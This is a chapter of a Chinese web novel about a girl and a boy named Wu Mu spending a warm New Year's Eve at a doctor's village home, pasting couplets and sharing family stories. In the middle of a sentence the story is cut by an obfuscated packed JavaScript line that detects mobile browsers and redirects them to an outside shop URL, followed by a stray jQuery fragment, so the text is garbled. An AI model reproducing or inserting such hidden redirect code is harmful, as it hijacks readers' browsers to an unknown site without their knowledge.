“新年快乐，陈同学。”少年并不知道我的自得，他轻轻回送出他的祝福。
*
小镇时光随着风雪刮蹭过玻璃一去不返，我和乌木抱着部分行李坐在后排。陈医生给家里带了很多年货，为显礼貌，我和乌木也备了一些。它们填充满后备箱，车里再容纳不下多的位置放置书本。
车与车交错，风雪漫天，陈医生放着车载音箱里的歌，很有冬天的味道。
从簇拥在一块儿建筑里搬出，我们一点点滑进嶙峋的山脉，云华藏在那里，车头摆正的时候，我们找到它。
“到了。”陈医生给车熄火。
两个小时，我们的路程抵达终点。我们大包小包地将东西搬下车，又赶紧赶慢地往家里搬。因为天地又飘起小雪。
陈医生的家在村落的中心位置，车开不进去，只能停到路边。小村里零零散散加一起有四十多户人家，我根据我能看到的铁门算的。一户一扇，高的低的，铁的木的，红的褐的，一律向外敞开，夹道欢迎着我们。
好吧，其实是因为除夕夜快要到来，回村的人多抓在这个时间段回来，一时显得热闹。
“哎哟，陈老大家的，回来了。”
路过的人给陈医生打招呼，称呼他的方式有些新颖。
这么算的话，我应该叫陈老三家的。爸爸在家排行第三，我是他唯一的女儿。
“杨叔早啊，那么早就买年货回来了。阿杨他们有没有回来？”陈医生抱着两箱香梨停在长胡子老人前，也寒暄起。
“我家那两小子，心都不知野到哪里去了，哪里会想得起我这老人家。”老人胡子颤颤，说话时不时定一下拄杖，朝雪里按进去些许。
“没事的，可能忙，赚够钱就会回来了，到时候你老人家就享福咯。”
……
话着家里长短，村里人乡音夹杂间，我们走入陈医生的家。
漆红大门张扬，一个温婉的女子碎着长发迎上前来：“小娩和小木是吧，快进来快进来。”她热情地招呼我们，帮着我们卸下手里的东西，是陈医生的温柔乡。
第一趟的货物落地，她的眼神落向胡子拉碴的陈医生，眸光中是遥久不见的思念与喜欢：“回来就好，回来就好。”
那个风雪摇曳的午时，在来来回回折转中，我听到了属于陈医生的，那个爸爸和我提了两句，未说完的故事。
陈医生出生在乡里，他的妻子也是，两个人年轻出去打拼的时候看对眼，有了感情。郎才女貌，两家村落也挨得近，父母坐在庄稼地里一合计，两人就在一个秋天里成了婚。婚后也照旧，只陈医生运气好些，能力也强些，从乡里换了工作进到还算繁华的小镇，两人异地分居。分居的第三年，他们有了第一个孩子，却因早夭去世。林椛，陈医生的妻子悲痛过度，再加身子折损，再也没要过孩子。
无后的女子在乡里，总是要面对更多苛责。
议论声听得多了，陈医生带着妻子搬离了云华，在小镇租房，一过就是二十五年。直至父亲过世，回来料理，才发现那些还记得旧事的人大多已成蹒跚的老人，不知是没有精力还是不愿意临老时再破口戒，村里没再有过什么难听的议论。
思及母亲和家中老人，林椛和陈医生又重新扎根回故土。只是陈医生工作性质，时间受限，多时只能住在小镇，逢得休闲的节假才能回来。
这是他们的第三十七年。
无父无母，也无儿无女。
“怎么这幅表情，你在同情我和你阿姨吗？”最后一趟没有多少东西，我手里只拎了一个小口袋，里面装的果糖。乌木抱着烟火，陈医生和林阿姨走在他旁边，看我一路默然垂低着头，陈医生绕到我身旁，他手里的花盆摇摇曳曳，沾染着风雪往下坠，停放在大门前。他问我。
“嗯～不是。”我只是在想好像我的不快乐也没有夸张到那样的程度，“我好像太脆弱了。”
“不一样，我和你阿姨生活中的苦难出现在我们刚好能承受的年纪。你还小，小孩子的肩膀本来就担不下太多东西，不用为那时候的眼泪责怪现在的自己。”
不愧是心理医生，说的话真的好有道理。我只用了一秒就接受：“是啊，我还是很棒的。”
“对啊，陈同学一直都很棒。”乌木也跟着挤到我身旁，完全看不出他对这个小乡村有什么不适应的地方。他鼓励我，还夸捧陈医生，“医者仁心。”
陈医生笑笑看他，回屋放置年货去了。
走亲访友的那部分交给他，家里的小东西就交给了留剩在家的我们。
在不熟悉的热闹里，乌木拉着我去贴对联，他说：“陈同学，陪陪我，我一个人初来乍到，实在是不好意思。”
我虽完全没看出来，但还是同意了他。有他陪着，我在这个家里也没那么不知所措，只需要跟在他身后，抹起那些浆糊对正门联。
“歪了歪了，陈同学，再往左边偏一点。”
“对对对，就是这样，压下去，陈同学。”
我在他欢呼的指挥声中疑惑抬头，贴个对联，他怎么兴奋得不像话。
“乌木，你没贴过对联吗？”
“没有啊，第一次。”
少年承认得很坦然，拎着装浆糊的小桶到处跑。陈医生家里的小院一共有八道门，按照习俗，每一处都需要抹上黏糊的面浆，贴上贺岁迎新的大红联，而正门还需配上镇煞辟邪的门神。我忙制止了他：“等一等，这里还没弄完。”
疾驰的少年如风倒回来，他的帽子随主人动作歪过，上上下下打量过刚刚见过的高门大户。
戌年渐送风霜去
亥岁徐携暖意来
春和景明
“贴好了呀，哪里不正吗，陈同学？”少年的脸上泛上疑惑。
好吧，可以确认，乌木真的没有贴过对联，这是他的第一次初体验。
“乌木同学，在我们村里和小镇，过年的正大门需要两尊神镇门，你知道是哪两尊吗？”我洋洋得意科普，其实提醒到这里，我相信他心中已经有了答案。
“秦叔宝，尉迟恭。”
诶？“不是尉迟敬德吗？”
“对仗啊。”
“你这是强行对。”
“那也是对仗，哈哈哈……”乌木高举着他的小刷子耍无赖，名对名，字对字，他非要名对字，神一般的对仗。
“难怪你语文老是
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17821358|209772||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
学不好。”
“陈老师，禁止人身攻击。”
踩在人字梯上的我无奈摊摊手：“乌木，你这是耍赖。”
“注意安全，陈同学。”乌木急急放下手中装浆糊的小桶，将小刷子插在里，神情紧张地看着我，他眼睛里倒映着一个高高站立的少女。少女轻轻“哦”了一声，将手扶回人字梯上，心里暖暖热热，这应该是她过过最与众不同，第二热闹的春节。
“小娩，小木，外面冷，先回来吃点东西。”两人的热闹紧张中穿插进软的和煦，我们一同转脸看向在屋里忙活刚得空的林阿姨。
“林姨，我喜欢贴对联！”乌木的声高高扬扬，飘进雪里。
“那好吧，贴好了进来烤火。”
论谁也招架不住少年的热情，得到林姨的同意，我们继续在风雪中扑过来、扑过去，一连找着不同的小门贴上属于它们的新衣。
林姨家的小院里有个废弃的旧猪圈，不知道是不是养猪养的，但我们都习惯这么叫唤。我和乌木蹲在那里，都有些兴致勃勃。
“这也贴吗？”
“贴！”
两人一拍即合，干了一点点亏心事。陈医生没有买专属小圈的对联，但是买了很多大红纸，我们……
我们拿来了裁剪干净的大红纸，还取来了笔墨，金亮金亮的。
重新蹲在小圈的门口，我很有耐心地给灰尘落旧的铁门刷了又刷，除去没办法处理的铁锈，整体也算噌亮噌亮的。乌木在里面进行清扫，灰尘噗噗地溅起，扫把有些放飞自我。
好一顿忙活，小圈变得崭新，我们又一次犯难。
“写什么？”
乌木看向我，咬着笔头想了好一会儿，格外神气地想出一句话：“小猪小猪快快长，新年会咬你屁股。”
“嗯？”我望向出主意出得一本正经的人，有些目瞪口呆。
“嗯，就写这个。”
“行。”
说干就干，少年写左边，我写右边，我们在除夕这一天亲自题写了一个“小猪快跑”的门联。这是属于我们的秘密。
*
太阳在冬天下山总是悄咪咪的，生怕人发现一样，待到夜色落下来，我们已经围炉坐到了一块儿。林姨教我们如何烤茶，陈叔叔在厨房里忙碌。
习惯了雨露均沾，总会照料到每一个人的乌木和林姨打过招呼后，走进了厨房，我听见他说：“陈叔叔，第一次来作客，让我帮忙打打下手，不然我会觉得拘束的。”
他前置了因果，陈叔叔没有拒绝他。
热心的少年和沉稳的医生会抬出怎样的年夜饭，我很期待。林姨也很期待，她看着他们，脸上的酒窝一点点凹陷，她和我说：“小娩，我很开心你们到来。我从前总盼着有个一儿半女，一家人坐在一起，围着火炉嗑嗑瓜子、说说话，你和小木的到来帮我圆满了这个梦。”
是啊，怎么不像呢。
温柔的妈妈，沉稳的爸爸，还有一个活泼阳光永远挡在面前的哥哥，怎么不算一个美满的家。
“林阿姨，谢谢你和叔叔，我也很开心。”
九点半的除夕，我以意外的方式看到一个圆满的家庭是什么模样。